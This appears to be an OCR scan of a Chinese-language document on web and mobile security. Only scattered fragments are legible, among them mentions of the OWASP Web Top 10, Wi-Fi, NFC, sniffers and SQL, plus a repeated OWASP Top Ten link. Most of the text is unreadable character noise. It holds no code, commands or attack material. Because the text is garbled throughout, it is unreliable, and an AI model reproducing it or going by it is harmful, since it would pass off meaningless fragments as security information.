QBN B N AT ERGRRETNR > L F T e L84

‘F AMAEET PRGN

(BN BB A B L E 3 RIRBHEF R 47258 FF 12 OWASP Web Top 10
e ® 2P ST o

(4) B i ¢ 7 Rk s Wifi st 33 £:7 el 3 (Near Field
Communication, NFC)i 4t & » & & = * P 7§ @ v% » I’J:w?—g? =% 5 iE
R T RS N (Sniﬁer)%%ﬁﬁﬁzﬁ?ﬁi ’ r@ﬁ?j?‘#i]ﬂ% s AN B AR A
TR AT SRR '”ﬁ%“%“‘f% EE

G)EF B* N BELHLE L h > E 23RS ETEAT BiZES
O F o de P SQL R FTFE R FRF X o

(B)EF & * Piichd 2 SR i > 4ot BRI R S S FIRLE  EAT
B AR R FID BB A LA BT AL LA R T

(N 238 AR FET AL LA RNBEBEREONE > Uik iR

FEBRY F L ABEEA AR EEANE S S -

-\\

OFFR* NI FTRERRERFTEZ  EIRYBEAEFAPFY
7 OETET R RBIGE o

Ofe B X LI FLRTRETAR > R/ o
6.FRIFEL A BEFTHEL
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https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

DFALHITE > EmBHEETT €% PR A LT AE X Pk
ECMERE A T o EITEL PR

QepPHEiZmART AL FELTIE2 - 2RF2 " Rl
ﬁ. ’ IF';L_% ‘\AmB -1\. I—r‘ o

@b fas=G I B AT & 4520 g ~ P IRRF] PR R E S 2 RO T
RS REIENR -

@F AR~ PR AR B R e A vhiE
E TN D W SRR e Pl TEIE E S A

G)£ =W LT A F LMFTAL 2H S EE  FHEEF -

O)LF2z=i Fud vkl jed o vk n PR T L 20
mﬁ\EXJE i'f}i—f@%«‘lé °

MERBELTFTHAEALETTEFRLA G FE TR FRLFER
B g% g4 b i

8)% *tiT% & —;ﬂf =2 F iﬁ?iﬁ%"@ AREFVI e FTF EHNFL o
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